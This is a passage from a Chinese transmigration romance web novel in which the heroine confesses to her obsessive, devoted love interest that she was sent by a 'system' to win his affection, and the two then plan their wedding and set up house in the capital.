他垂眸,湿漉漉的睫羽的阴影投在他的脸颊,让他抱着,就片刻不曾松手,简直乖巧得不像话。 “不是不喜欢,是不够喜欢。” 若她的心里只有他一人,那她是不会想离着开他的。 所以,远远不够。 池镜花无话可说,她真没办法证明自己的爱意,毕竟,爱这种东西这又不是能拿刻度尺丈量。 她有力无气地趴在他肩上,拒绝回答他的这一问题。 奚逢秋没有向她追要答案,而是指尖轻柔地抚摸她的头发,继而按住她的后颈,不让她离开自己身边半步。 池镜花没有动弹,靠在他肩上,无力地合上双眼。 正如他所愿,此时此刻,她不再考虑别的事情,也不在乎有没有其他人看见,只想与他一同享受这片刻的安宁。 马车一路朝着京城行驶,本该只有四五天的路程,却因中途下了一场大雨,他们被迫找了家客栈暂时歇歇脚。 冬日,雷电交加的下午,天黑得很早,清冷的客栈里烛火摇曳。 临近年关,客栈里没几个客人,就他们三人一鬼罕见住宿,连客栈伙计都告假陪家人,只留下老板一人。 池镜花跟正在打瞌睡的老板要了两间房,将其中一个房间的钥匙给了给了赵星澜。 不等赵星澜做出反应,她直接拉着奚逢秋赶紧往二楼去。 淋过雨的衣裳紧贴着她的皮肤,又冷又难受,池镜花迫不及待地要换下。 等她换好衣裳才让奚逢秋进来,抬眸对上他苍白的脸颊,湿漉漉的瞥见他指尖落下的豆大雨珠,想到他也淋了雨。 池镜花立即在他们包袱里翻找出一套干净的衣裳,双手捧给他。 “你也把衣服换了吧。” 几缕墨发黏在少年的脸颊,他垂眸看了一眼,没有伸手接,纤长的睫羽挂着细密的水珠,唇瓣一张一合。 “这上面没有你的气息。” 这是什么新奇的理由啊? 池镜花思忖片刻,不由想到他古怪的喜好,得出结论:“那我帮你换?” 虽为问句,可在话语落地的瞬间,池镜花已把他按在床上,自己也爬上去,双手覆上他的腰带,不由分说地几下就把他的外衣解开了,扔在地上。 只湿了外衣,到此为止就好。 可池镜花总觉得哪里不对劲。 每每当她轻车熟路地就把他的衣服脱了,就显得她十分猴急,好像一只早已觊觎他身体的大色狼! 池镜花疑惑看他,见他眼底只盈着浅淡的笑,没有别的情愫涌动,也就放心了。 她环抱住他的腰身,替他把衣裳快速穿好,又拿了布巾给他擦了擦头发上的雨水。 少年唇角噙着笑,一副任她摆弄极为乖巧的模样。 跪坐在他身后的池镜花想到什么,坏心眼地轻轻拽了一下他的头发,几乎贴在他的耳廓,眨着亮晶晶的双眼感受地问他。 “疼吗?” 屋外的雨还在淅沥沥地下着,狂风拍打着窗户。 奚逢秋稍稍侧过头,左耳冰冷的耳铛贴着她的面颊。 “你希望我感受到疼痛吗?” 池镜花毫不躲闪:“嗯,希望,最好是一受伤就会疼的那种。” 她很早就知道,男配对于疼痛的感知随着对她的好感度而逐渐上升,可这同样说明一件事:他灰暗的世界里唯她而已。 这专一程度对谈情说爱来说固然很好,可有时候,过于偏执,可能会导致不好的结局。 光是这样设想一下,池镜花就已经难受到几近窒息,更别提万一原著剧情在她眼里上演该如何是好。 奚逢秋仔细感受了下她拉扯头皮的力道,垂下眼睫。 “可是不疼,如果不是你碰我,除此以外都不疼。” “你……” 池镜花本想挣扎一下,终究叹了口气。 她不能勉强他改变对世界的认知,毕竟她也没办法直接参与改变他的过去。 因都无法改变,又怎能要求更改结果。 她也不想改变他。 她想给予他所期望的安全感。 池镜花猛地一用力,把他扑倒在床,三千青丝落在脸颊两侧,滚烫的身躯紧贴着他的后背。 “别转过身……” 她的声音很轻,“我想就这样抱着你。” 就这样,虽然看不见彼此的五官和表情,却可以静静体会到自己内心深处的情绪涌动。 她心跳得很厉害。 毫无疑问,皆由于他。 少女额头额头轻抵着他的后背,声音微微发颤,“奚逢秋,我很喜欢你,可我的世界不是只有你,还有别人……” 话音刚落,有什么漂浮到她身旁。 池镜花抬眼一看,瞧见一张熟悉的红纸人,但五官跟她生的截然不同。 她好奇地眨了下眼睛,伸手接过白丝松开的纸人,从他身上爬起来,坐在一侧,捏了捏纸人,没发现什么奇怪的地方。 “这是什么?” 奚逢秋翻身坐起,外衣皱巴巴的,头发还湿漉漉地贴在颈侧。 他盯着池镜花的手指,“纸人。” 池镜花哭笑不得,“我的意思是,为什么给我这个?” 烛火明明灭灭,映在少年苍白的侧脸,他伸手抚摸了下纸人,最后停在她的指腹,有些贪婪的在她指尖打圈。 他面上自始至终都挂着笑,“它们在王府陪伴我很久,以后,我会给你剪很多很多纸人,给你解闷。” 啊? 池镜花恍然明白他的话中含义。 他原来觉得她要离开这里,是因为她会觉得跟他待在一起太无聊。 可是怎么会无聊! 他们还没有成亲,还有很多事情没有一起做啊。 如果有可能,她还想跟他走遍世界各地,若是累了就找个地方暂时歇歇脚,反正 她对住哪里没有太大要求,只要跟他在一起就行。 所以怎么都不会无聊。 池镜花猝然觉得他那不正常的脑回路可可爱爱! 她轻咳一声,故意蹙眉,“不行,这张纸人跟我父母长得不像,你得做两个跟我父母长相相似的纸人。” 奚逢秋神情不解地歪头看她,“为何?” “拜堂用啊。” 虽是玩笑话,可池镜花说得理所当然,面颊也止不住地发热,还没到能脸不红心不跳地说出这件事的程度。 “反正我早就见过你母亲了,可你还没有见过我的父母,这不公平。” 她一字一句说得认真。 奚逢秋思考半瞬,十分赞同地轻轻点头,耳铛划过脸颊时,简直乖巧地不想花。 “嗯,你说得对。” 池镜花本还想再逗逗他的,没想到事情出奇的顺利。 她索性另起话题。 “对了,还有一件事,我找赵道长算过了,腊月二十八那天日子挺好的,我们就在那天成亲吧。” 腊月二十八? 奚逢秋算了一下时间,发现离现在还有十天之久。 他垂下眼睫,半遮眼底情绪,“好漫长。” 听出他语气里的遗憾,池镜花真想把他脑袋敲开看看里面到底在想什么。 “已经很短了!” 虽然他们早就决定不宴请客人,一切从简就好,但到了京师不仅需要选房子,还得花时间进补婚后的知识。 ……话说他应该懂得吧? 第105章 第105章你现在也在攻略我吗? 山路本就难走,下过雨的泥土湿泞,马车行驶困难,从客栈到京城只需一天的路程,愣是磨到第二天傍晚才到达。 好在城门还没关。 此时,离腊月二十八还有八天,离春节还有十日。 金辉的夕阳映照而下,将凹凸不平地面上的马车身影无限拖长。 大抵提前收到消息,李府特地安排了个接应的家仆。 由于抵达时间太晚,周围除了他们这一辆马车再无旁人,站在萧瑟冷风中的中年男子一眼就认出他们的身份。 男人与他们寒暄一阵,带他们回府休整几天,等过了春节就给夫人迁坟做法事。 “走吧。” 池镜花拉着他一道跟上去。 早在来的路上,她就与赵星澜坦白不会掺和李府一事,只想跟奚逢秋两个人待在一起,眼下也是看天色已晚没有地方待,所以暂住李府一晚,等明天找到合适的房子就离开。 虽然早就知道他们的关系,可赵星澜什么也没问,坦然接受这一切。 池镜花牵着他,由于好奇而正在街上四处打量。 此刻虽然人不多,但京城跟乡下小镇还是无法比拟的。 直到她敏锐察觉施加在自己指尖的力气越来越重。 池镜花不由疑惑望过去。 日光的余晖打在他苍白的侧脸,少年乖巧跟在她身旁,垂着脑袋,眼睫低垂,不知在想些什么。 池镜花更加好奇,“怎么了?” 奚逢秋笑着抬了抬头,不禁握了握她的指尖。 “无事,只是想到一些过往。” 想来不是什么快乐的回忆。 池镜花还想接着往下问,但已来到尚书府门口,只好把哽在喉咙的话语憋回去。 尚书李大人年纪看着只有四十来岁,而他的夫人则已经去世二十年。 也就是说,他们二人刚成亲没几年,新婚妻子就去世了,正值夫妻情意最浓烈的时期,怪不得哪怕过世二十年,李大人也要兴师动众地为她迁坟做法事。 而且据说此后一直未续弦,哪怕膝下无子忍受旁人数落多年也未曾动摇。 池镜花蓦然对这位李尚书肃然起敬。 她一边喝茶一边听他们讨论迁坟事宜,同时还在努力地回忆原著剧情。 正说着话,李大人注意到跟着赵星澜一道的两位朋友,听说他们要来京城买房子,忍不住给出建议。 “我倒是有个朋友正在做庄宅牙人,若两位不嫌弃的话,明日可以去他那里看看。” 池镜花放下瓷杯,不好意思地笑着连连摆手,“不会不会。” 嫌弃是不可能的,主要是看有没有价格合适又能满足他们需求的宅子。 望见她笑容满面,李尚书心中忽然有种说不出的熟悉感,眼前少女的面容似与记忆中的那位故人逐渐重叠。 “话说回来,池姑娘是哪里的人?” 这么问,也是想知道眼前这位身世成谜的少女与他早亡的妻子是否有瓜葛。 提及身世这个敏感话题,池镜花不自觉地看向坐在她身边不远处的奚逢秋。 四目相撞之时,少年冲他温柔地弯眸一笑。 虽然她早已跟奚逢秋坦白自己的身世,可她骗了他是不争的事实,哪怕他不介意,可池镜花还是很在意的。 她眼神慌乱地瞟向别处,声音莫名低了下来,“……平安县。” 李尚书没听过这个小地方。 但看到池镜花不像说谎的样子,想来她只是与自家夫人笑起来又几分相似,两人之间并无实质关系,也就没有继续往下问的意思。 他扭头招来仆从,让他们替几人安排住处。 夜里风声渐小,皎洁的月光透过半遮的窗棂倾泻进屋内,枝影影影绰绰地斜打在地面。 池镜花单独躺在李府一间陌生的房间里,翻来覆去地睡不着。 她想到白日李大人问她家住何处这件事,不问还好,一问倒令她想起另外一件事。 ——她还没有跟奚逢秋挑明系统的事情。 虽然他不曾问过她来这个世界的目的,似乎只要她留在他身边就好,但眼瞅着他们都要成亲了,她说过要彼此要毫无保留的,总不能是她先打破戒律。 更为重要的是,她已经骗过他一次了,不想再让这段关系蒙上欺骗的性质。 念及此,池镜花匆忙套上外衣,来不及绑好散落的发丝,直接来到他的门外。 见门没关,直接就进去了。 还没看清屋内陈设,池镜花一仰头,冰冰凉的乌发拂过脸颊,她整个人蓦然落入一个清凉的怀抱。 池镜花看不见他的表情,只能感受到他的脸颊埋在自己的发间,微热的呼吸在自己的颈间肆意游走。 她抓住他的胳膊,轻轻抱住他,唇角止不住上扬,不禁打趣地问道:“你怎么知道我要来?” 少年逐渐松开箍着他的双手,改为双手捧住她的脸颊,慢慢俯下身,额头习惯性地抵住她的,烛火摇曳,将耳铛上镌刻的字体照得更加清晰。 “不知道,但就算你不来,我也是要去找你的。” 他的声音总是又轻又缓,像猫爪一样在她心间挠。 明白了,就是一刻也离不开她,不管她在哪,都得缠上来。 很好,这样的他,池镜花也很喜欢! 池镜花无法掩盖烙在眉宇间的喜悦之情,咳嗽两声,才勉强压下上扬的唇角。 “奚逢秋,我要跟你说件事。” 少年神情一滞。 有过前两次的经验,他明白,每当池镜花说出这种话时,那就不是什么好事。 有点不太想听。 他的瞳孔一错不错地盯着她微微张合的唇瓣,完全听不见她在说什么,只在思考到底该用何种方式才能让她以后只说自己爱听的话,让她永远只为自己停留。 察觉他思绪飘远,池镜花立即拽了下的他的头发,令他回过神来,更防止他想一些有的没的、那些时不时冒出的吓人念头。 “你在听我说话吗?” 他垂下睫羽,“不想听,你总是说一些让我难受的话。” 他有些过分坦诚,池镜花心里仿佛被针刺痛了一下。 虽然她总想着跟他坦诚相待,却几乎从来没有考虑她口中的真相对他有何影响。 某种程度上来说,这挺自私的。 池镜花低头咬住了唇,内心挣扎不已。 一方面,她不愿再继续瞒着系统和任务的事情,另一方面,她想尊重对方的意愿。 “……那 如果我说,我之所以来到这个世界,是为了你呢?” 思量再三,她还是决定自私一回。 毕竟这件事很重要,比她的身世要重要的多,池镜花不希望他在什么都不了解的情况下跟她成亲,享受他的爱。 像是发生预料之外的事情,奚逢秋足足愣住几秒才弯眸轻笑一声,稍稍上扬的尾音无不揭示了他的好心情。 “你能这样说,我很高兴。” 高兴? 不对啊。 怎么会是高兴呢! 她可是带着目的接近他的啊! 也许是她表述有问题。 池镜花在心里认真详细地认真打了个腹稿,深吸一口气,将事情的原委娓娓道来。 “你听我把话说完,我一开始接近你就是抱有目的的,我想让你爱上我,因为我绑定了个系统,你可以理解,我的任务就是攻略你,让你爱上我,等你彻底爱上以后,我才能脱离这个世界。” 为确保自己的话语能够被他接收到,池镜花故意放慢语速,一个字一个字地从喉咙里蹦出,没多说一个字,只觉得心脏更痛。 她又要伤害他了。 既然这是无可避免的,那她希望发生什么呢? 是奚逢秋得知真相后能够责怪她一番,再不济,闹个脾气也行。 可是没有。 奚逢秋望着她垂下的颤抖长睫,独自消化的好一会儿,才理解她口中的“系统”和任务。 他面上笑容依旧不减,周身弥漫着快要溢出的破碎感,瞳孔呈以雾蓝色,仿佛只要池镜花在多说一个字就当场哭出来一样。 “那你现在也在攻略我吗?” 攻略他…… 现在吗? 不是啊。 池镜花想要告诉他真相,不是由于任务,而且出于自身意愿,想要跟他在一起,永永远远地在一起。 不对。 他为什么不怪她呢? 她隐瞒了系统和任务一事,故意让他染上情爱,他为什么毫无反应呢? 而且,她还欺骗了他两次。 池镜花记得很清楚,他说过,他最讨厌别人骗他。 为什么? 因为他喜欢她吗? 怎么可以只因为他喜欢自己,就变得这么没有底线! 池镜花神情呆滞,连眼睛都忘了眨,整颗脑袋嗡嗡作响。 等等。 摈弃奚逢秋的反应暂且不谈,她为什么会产生这些奇怪想法呢? 她为什么希望奚逢秋生气,自己去哄他呢? 池镜花蓦然明白过来。 哦。 因为只要他生气了,她就可以顺理成章地去哄他,等这件事过去就过去了,他就不能再拿这件事做文章。 这叫做“平账”。 可归根结底,所有种种不过是她为寻求一丝内心慰藉而找的借口。 她太坏了。 怎么可以这么坏! 池镜花攥紧衣裙,拼命忍住的泪水在眼眶里打转,很快打湿鸦青色的根根睫羽。 她鼻尖一酸,踮起脚尖揽住他的脖颈,没有征得他的同意擅自将脑袋埋进他的怀里,无所适从地在他心口胡乱地蹭。 “没有,不是攻略,奚逢秋,我喜欢你,真的很喜欢很喜欢很喜欢你,你是我在这世界上最喜欢的人!” 虽然她没有说谎,可这样扑在他怀里放松一哭,在分明知道他更爱自己的情况下,好像更坏了。 就像是在博取他的同情一样。 第106章 第106章漂亮且易碎。 少年面上漾着温润的浅笑,他轻轻捧着她的脸,以指腹一点点温柔地替她擦拭泪痕。 池镜花哭过的眼眶微红,感受着他指尖的柔软,心里反而更加难受。 她不由提高音量,“我骗你了你,我刻意接近你,攻略你,是为了让你爱上我!” 暖色的烛火摇曳,映出少年昳丽的五官,在光线下显得愈发温柔。 “那又有什么关系?” 他的声音很轻,凝望着她的眼神里透出一丝眷恋和疯狂。 “即便如此,那也是别人的错,是他们在利用你。” ——把他们都杀了就行了。 说话间,他指尖轻柔地抚摸她柔软乌黑的发丝,唇角弧度渐起,眼底火光闪烁,有种说不出的危险。 池镜花彻底明白了。 不管她做什么,哪怕无限伤害他欺骗他,他也只会无底线地包容她,永远把她的利益需求放在第一位。 池镜花紧紧抓住他的衣裳,忽然,浑身力气像是被抽尽,有种溺水的窒息感,回过神来才发现自己早被他的热烈“爱意”所包围。 以爱之名,把他变成了她的囚徒。 池镜花一时说不出话来。 虽说他爱她很叫人开心,可他的偏执疯狂的态度,总让她有种不好的预感。 她莫名想起幻境里奚逢秋在林中濒死的场景。 可真是晦气。 池镜花摇头清除这段不愉快的回忆,她双手圈住他的脖颈,整颗脑袋埋进他怀里,吐出的声音中还略带着哭过后的鼻音。 “奚逢秋,我想睡觉了,你陪我。” 从此以后,她再也不想一个人睡觉,即便做不到永远留在此处,也要最大程度地跟他在一起。 话音刚落,池镜花身躯一轻,整个人腾空而起,眨眼间,已被他抱起。 还是头一次。 池镜花紧张地搂住他的脖子,如同挂件似的挂在他身上,就连呼吸都变得急促起来。 奚逢秋虽然不觉得哪里做得不对,可他毕竟还是第一次试着把她这样抱起,尤其害怕自己手法生疏令她不舒服。 “我做得对吗?” 他的话语中总是习惯性地添加了讨好的意味。 “嗯,对!” 池镜花点头如捣蒜,手臂却圈得更紧,眼看着自己离床越来越近,可奚逢秋却没有立即把她放下。 想到他可能也许还不熟练,池镜花哭笑不得,伏在他怀里,在他耳边低声提醒:“没关系,直接把我放下来就好。” 少年乖巧听话照做,眼睛一刻也没离开过她。 池镜花二话不说拉过他的手腕,让他坐在自己身侧。 屋内白烛燃烧得只剩最后一小截,飘散的烛火愈来愈小,四周亮度陡然暗了下来。 一蓝一白的衣裳在身下交叠,池镜花手指压在上面,偏头望着他,忽然按住他的面颊,倾身靠近,在他的额头落下个蜻蜓点水的吻。 池镜花深知他不知餍足的个性,但她不想在过度困乏的情况下与之纠缠太久,奖励似的给予轻轻一吻。 “剩下的等有空再补上。” 不等他做出反应,池镜花直接躺下扯过被褥盖上,见他不动,池镜花索性一把搂着他的脖子,将人强行按在自己身侧。 “睡觉!” 她甫一说完,耳畔忽地传来一声极轻的笑,如清风微微拂过她的耳廓,绕了几圈,落在微红的脸颊。 “我喜欢你这样。” 池镜花环抱着他腰身,不明所以地抬头眨眼,“哪样?” 他压着身下乌发,微垂的鸦色睫羽颤了一下,唇瓣轻轻张合。 “主动靠近我。” 池镜花猝然记起自己在过去对他做的那些事,还是在他尚未理解情感的时候。 顿时,不知与他挨得太近热量聚集还是血气上涌,她整张脸都热起来了。 她假咳一声以整理心情,微微抬眸时的面颊温度已恢复正常,嘴角忍不住扬起。 “我不是对所有人都这样的。” 少年手指微抬,冰凉的指腹若有似无地划过她的脸颊,贴心地将她耳鬓碎发捋至耳后,目光温柔地垂望着她。 “我是唯一的,对吗?” 池镜花轻轻抵着他的额头,鼻尖挨着他的,点了点头。 “嗯,是唯一的,独一无二的。” 最后一丝烛光透过摇曳的床幔落进他的眼底,犹如深空中的点点繁星,照亮他的眼眸。 他唇角漾起个温柔的笑,“又骗人。” “我什么时候……”骗你了? 不等她把话说完,奚逢秋指腹突然轻轻按住她的唇瓣,兀自打断她。 “说喜欢我。” 池镜花严重怀疑他是不是会下蛊,不然她怎么一对上个他的眼睛,看着他微微张合的薄唇,听见他问自己一遍遍确认心意时,始终无法抗拒。 就连表情也变得怔愣,只剩眼睛还在眨着,不由自主地被他牵着走。 “……喜欢你。” 得到回答的奚逢秋却不满足。 他指间施加些许力气,按了按她柔软的唇,意在诱导她继续往下说。 “说爱我。” “……爱你。” “说永远不会离开我身边半步。” 刹那间,萦绕在耳边的声音变得清晰起来。 池镜花猛地吸口气,差点 没被他身上的香气给溺死。 她没有说话,而是意识清醒地定定瞧着他。 并非她的错觉,他先前种种都只为了铺垫出这句话。 大概率又在恐惧她会抛弃他。 虽然说过一遍,可池镜花依旧耐心地给出解释:“奚逢秋,你不用担心,就算要回去,我也会想办法回来的,只是需要一点时间。” 奚逢秋睫羽颤了颤。 他不喜欢这模棱两可的答案,说到底,她还是会离开她,只是时间早晚问题。 以前不懂情爱的时候,池镜花分明说过会永远跟他在一起,现在他爱上她了,却要被迫接受她迟早有一天会离开的真相。 要是任何妨碍他们在一起的人都死了就好了。 直到池镜花的世界里只有他,他的身影、他的名字、他的躯壳填满她的一切,叫她再也无暇顾及其他人。 哦。 对了。 就像父母后来做的那些事。 果然,他不愧诞于两人的血脉。 少年喉咙溢出一声浅笑,忽地抱住了她,用力地将她按在自己怀侧,指尖抚上她的发丝。 “我会一直跟你在一起的……” 跟父亲截然不同,他不会因为缥缈的幻象而逃离她的身边,他只需要死死抓住眼前唯一的真实。 池镜花不知他在想什么,忽地有种感觉。 似有一束阳光透过彩色的玻璃,折射出五颜六色的光彩。 漂亮且易碎。 奇奇怪怪。 【男配好感度+10,当前好感度90/100】 许久没什么反应的好感度突然动了。 这吓了池镜花一大跳。 她认真思索片刻,得出结论:根据过往经验,好感度不可能无缘无故提升,大多发生在他态度认知转变的重要时刻。 所以,他刚才一定想到了什么。 池镜花决定直接问。 她稍稍抬起头,眼睛亮闪闪的,视线一错不错对上他的。 “奚逢秋,你在想什么?” 少年垂下眼眸,看见怀中少女清澈漆黑的瞳孔完全倒映出自己的模样,心中没有来由的升起一股满足感。 他探出指尖,在她眼眶周围轻柔地打转,眼底泛起笑来。 “很快你就会知道了。” 对于他不愿说的事情,池镜花不会逼他,可该提醒还得提醒。 “不能做危险的事情!” 他轻轻应了声。 见他这般,池镜花长舒一口气,然而只觉得眼睛四周很痒,她忍不住眨了几下,一把握住他胡作非为的手指,强行按在自己的腰侧。 “快点睡觉!” 奚逢秋面带微笑地“嗯”了声,不由用力抱住她,直到彼此间再无多余间隙。 池镜花早已习惯,她她闭上眼睛,昏昏沉沉地睡过去。 夜里,房外窸窸窣窣地传来某种动静,不过很快就静下来了。 翌日,池镜花一觉睡醒已是中午。 眼见时候不早,她火急火燎地拉着奚逢秋告别男主,拉着他去李大人介绍的牙人那里,挑选合适的宅子。 不过由于他们预算有限,京城的房价又不便宜,要么选择出过事的凶宅,要么只能选偏远的乡下。 比起前者,远点就远点吧,至少安全。 借着李大人的人际关系,他们捡漏了套位置绝佳的乡下宅子。 虽然周围没什么人家,但胜在门口风景秀丽,出门即能看见潺潺溪流,眼下虽为冬季,草木凋零,看着破败,但只要稍微等等,等到春来,不必出门也能欣赏河岸春色。 宅子也宽敞,还附赠个院子,院子里打造了个石桌和四个石凳,还种下几颗长青竹,就是无人打理,地面有很多枯黄杂草。 池镜花觉得这宅子甚是眼熟,可一时间却想不起来在哪里见过,只当所有的宅子都长得差不多。 他们交齐了钱,办好了手续,领到了钥匙,就有了自己的家。 等他们将屋子全部打扫一遍,又修了下杂乱的院子,黑幕早已降临。 池镜花推开窗户,好让许久无人居住的房间透透气,不想乡下的夜里冷风瑟瑟,冻得她忍不住瑟缩了一下。 她二话不说拉他一道,快速地褪去外衣,钻进软和的被窝里取暖。 由于忙活一整天,还没说上几句话,池镜花就睡着了。 又是临近中午才醒。 意识不算清醒,但看着眼前这栋不算熟悉的宅子,池镜花恍然意识到他们已经住在一起了,不会再有人打扰他们,也不会再有别的烦心事。 她下意识地扭头看去。 身侧虽然空荡荡的,但少年就站在窗前,承着金灿灿的日光照耀,衣袂在风中翻飞,出神地望着外界的萧瑟景色,不知在想些什么,唇角却微微扬起。 “奚逢秋?” 池镜花试着唤他一声。 少年回过神,墨发披散,赤脚走到她跟前,指尖抚摸着她散落的青丝,望着她的眉眼总潜藏着无尽的眷恋。 “嗯,吃饭吗?” 池镜花向他身后的桌上看去。 发现早在自己醒来之前,他就已经准备好可口的饭菜,还有合适的衣裳,甚至还提出帮她绑头发。 虽然池镜花很想说她又不是生活不能自理,但他貌似很喜欢替她做这些事,也就由着他来了。 但他总有种莫名的人夫感。 在享受完他的贴心服务后,池镜花也帮他把衣裳理了理,头发打理了下,然后把他按在桌前坐下吃饭。 但他没怎么动筷子。 池镜花忍不住催促道:“快点吃,等下我们一起出门。” 他疑惑地歪了歪脑袋,红得滴血的耳铛在她眼前晃了下,“出门?” 池镜花把碗往他面前推了推,“嗯,等下我们一起去挑选婚服。” 眼下离他们定下的成亲日子没剩几天,虽然他们不需要三书六礼八抬大轿这么麻烦,但穿个婚服,拜个天地,才更有成亲的实感。 “嗯,是这样的。” 他脑袋微垂,脚边斜落下一抹淡淡的日光,逐渐攀上他摇摆的衣角。 少年唇角噙着一抹浅笑,摸向了自己的指骨。 第107章 第107章要记得我在等你。 残冬腊月,寒风呼啸而过,自在来京城的路上下过一场雨,此后便一直晴空万里。 竹叶在风中沙沙作响,空气中飘来阵阵冷意。 池镜花站起身,想拉他出门。 奚逢秋反握住她的手指,却没动,指腹不经意地摩挲间,他抬头望着她淡淡一笑,不由想到什么。 “不如由我为你缝制婚服,如何?” 池镜花以为自己听岔了,表情怔愣,“什么?” 少年得寸进尺般的顺势把人拉到他怀里,按住她的腰侧,让她坐在自己的腿上,与她四目相对,浮在眼底的笑意更甚。 “我可以为你缝制一套婚服,会比别人做的更好看,更适合你,好吗?” 池镜花没想到他居然还有这等想法,顿时有点哭笑不得。 她十指轻飘飘地搭在他肩上,以一种玩笑似的口吻开了口。 “你会缝制婚服吗?” 少年微微笑着,指尖一路往上,近日似乎格外喜欢抚摸她的发丝,手法也出奇地温柔。 “虽然没有缝制过婚服,但我可以学习。” 学习? 听着就很麻烦。 池镜花不想让一件简单的事情变得复杂化 ,而且,他的审美……貌似不太行哎! “算了,我们还是……” 话还没说完,奚逢秋指尖忽然施加力气,按在她的后颈。 每当这种时候,他就会以这样的姿势,让自己与她完全对视,静静凝视她的眼睛,探究她的情绪和心跳。 “要拒绝我吗?” 他的声音如羽毛扫过她的耳畔,语气中夹杂着的有意无意的委屈意味,倒显得池镜花太过冷漠无情。 池镜花无奈地叹了口气,只得同意他的做法。 恍然间,她想起另一件事,“那你自己的呢?” 他又笑得温和,指尖由上及下轻轻抚摸她的头发,掉入眼底的阳光映出浅色的碎光。 “我没关系,什么衣服对我来说都一样,只要能跟你成亲就好了。” 什么跟什么啊! 成亲是两个人的事情,哪有他这样的! 池镜花一把揽住他的腰身,侧脸贴在他的胸口。 猝不及防的亲密接触令奚逢秋有些慌神,他不明白池镜花这是何意,但还是本能地抱住他,脸颊埋进她的颈窝里,想要与她永不分离。 “在做什么?” 池镜花强迫自己不要在意他打在自己肌肤上的呼吸,迅速答道:“给你量尺寸。” 他有些疑惑,“量尺寸?” 池镜花轻轻地点了点头,只觉得颈间更热了。 “嗯,虽然我不会做衣裳,但我想给你去成衣铺给你挑选一套婚服,所以,我必须知道你的尺寸。” 虽说如此,但他们刚搬过来,家中只有一些基本的生活设备,怎么可能具备量尺这类工具,所以,像肩宽腰围这些身体参数,只能靠池镜花用自己的手指和臂膀一点点丈量。 虽然池镜花对他又搂又抱,指尖在他身上到处乱摸,但此时此刻,她绝对没有任何非分之想。 当少女冰凉的发丝若有似无地扫荡过他的颈侧,奚逢秋呼吸稍显急促,心跳有些不大受控制,情绪慢慢有了变化。 他垂下眼睫,微微偏了偏头,声音有些颤抖。 “好痒。” 池镜花没有注意到他的变化,还在他身上胡乱地摸。 “再等一下就好了。” 她糊弄地安抚他,又过去一刻钟,等到心中终于有个大概数字,才池镜花停下胡作非为的双手,主动退后半步。 “好了好了,结束了,我现在就去成衣铺给你挑婚服,你别跟过来,因为我想自己给你挑选。” 她满意地笑了笑,准备向站在溪流边上、望着河底游动的鲤鱼而流口水的小白招手,好让它给自己带路。 不想还没来得及抬手,忽然一阵冰凉勾住了她的小指。 池镜花回过头,不大理解他怎么突然拉住自己。 “怎么了?” 一缕温暖的日光恰好落在他的侧脸,少年目光柔和,唇角微弯,看不出任何不对劲的地方。 “我也想给你量尺寸。” 池镜花更加疑惑,“你不是知道我的尺寸吗?” 早在很久之前,她的衣裳皆由他准备,而且也都十分合适,奚逢秋也从来没说过要给她量尺寸之类的,想必是在不断实验中调整到了准确尺寸。 那还有给她量尺寸的必要吗? 少年依旧面不改色地笑着,清冽悦耳的嗓音如三月春风轻轻拂过她的耳廓。 “但我还没有给你量过,不是吗?” 池镜花觉得他今日十分奇怪。 她上前一步,仰起头,一眨不眨地盯住他的眼睛。 虽然他有意克制,可池镜花太了解他了,一下子明白他的意思。 池镜花下意识地望了一眼窗外,见天色不早,她还得出门办正经事,索性不再跟他兜圈子,直接把他拖到床边坐下,搂住他的脖颈,语气夹带劝诫意味。 “我还得出门,所以不可以弄太久……” 他极轻地“嗯”了一声,双手慢慢捧住她的脸颊,主动靠近她,以唇瓣触碰了下她的眼睛。 池镜花睫羽一颤。 由于是他罕见地主动一回,她居然莫名有些紧张,一颗心脏扑通扑通地快要跳出胸腔。 少年继续浅浅地向下游走,逐步吻上她的鼻尖,同时指尖慢慢插进她的发间,轻轻扯开她前不久才绑好的发带。 发间一松,池镜花立即回过神,慢慢睁开眼睛,摸到了自己散落的乌发,神情不解地眨眨眼。 “弄我头发干什么?” 少年正如清澈的眼蓝色瞳孔早已被翻涌的滚滚情欲占满,一边轻捏她的耳垂,一边吻住她的脸颊,声音充满蛊惑。 “有点碍事。” ……头发能碍着他什么事? 池镜花忽然被激起胜负欲,一口气把他的腰带解了,将他的外衣脱下,暴力扔在脚下。 看上去极其放浪的动作,可偏偏她的表情极为大义凛然。 “我也觉得你的衣服很碍事!” 此时,床幔还没来得及被放下,明媚的日光落在床边,逐渐攀上床沿,落在两人交叠的衣上。 少年垂下眼眸,没有说话,而在静静凝视她的腰际。 池镜花恍然意识到一件要紧的事。 与她素来猴急的性格不同,奚逢秋虽然也有渴望,但几乎从来不会蛮横的扒拉她的衣裳。 也不知是不会还是害怕。 池镜花干脆自己动手脱下厚重的冬衣,又因怕冷而直接抱住他,却反而被他的体温冻得躯体颤抖了下。 哎,看来得赶紧让他体温升高,才能不被冻死。 她唯有仰头,吻住他的唇,小鸡啄米似的给予他一个个零落的吻。 虽然自己也很喜欢,可池镜花不明白,分明是他想要,怎么到头来,她又变成主动一方了? 她正迷迷糊糊地想着,耳边骤然想起一道再熟悉不过的呼喊,声音又欲又低。 “池镜花。” 她一睁眼,刹那间,眼前一黑,回过神,自己已被他压在身下,少年的绝绝五官占据了她的全部视线。 这太少见了。 池镜花一时间脑子转不过来,没有经过大脑思考而倒出的话语结结巴巴。 “你、你、你要主动吗?” 奚逢秋只是以禁锢的姿态,却没有完全压着她,墨发自他耳侧落在池镜花枕边,有几缕爬上她的脸颊,附在她的眼角四周。 他“嗯”了一声。 以前绝大多数时候,都是池镜花掌握绝对主动权,就算角色互换那也要等她没什么力气以后,可从来没有像现在这般。 对于这全新而未知的体验,池镜花无所适从,甚至连眼神都不知该往哪瞟。 但迟早会有这么一天的。 池镜花如此安抚自己。 几次深呼吸以后,她终于调整好心情,双手再次勾住他的脖颈。 “好吧,那你来。” ——让她也罕见地享受被服务的感觉。 话音落下,铺天盖地的吻已然落下。 他轻车熟路地轻轻含住她的唇瓣,辗转吞吐几次,又微微俯身,开始亲吻她的耳垂、颈侧,尝试着笨拙地舔舐。 池镜花被他亲得心跳加快,呼吸逐渐粗重,所有被他亲过的地方皆滚烫而酥麻。 汗水逐渐打湿鬓发,少女微微侧着头,下意识搂紧他的脖子,炽热的身躯紧贴着他的。 令她万万没想到的是,原本连亲吻都不会的人,居然在不知不觉中学会了取悦她的各种方式。 池镜花毫无来由地高兴。 她推开他,翻身而起,跨坐在他腰间,捧住他的脸颊,盛着水光的眼底盈着笑。 “到我了。” 池镜花很清楚,比起他主动亲她,奚逢秋更喜欢自己毫无保留地亲近他。 有句话怎么说来着…… 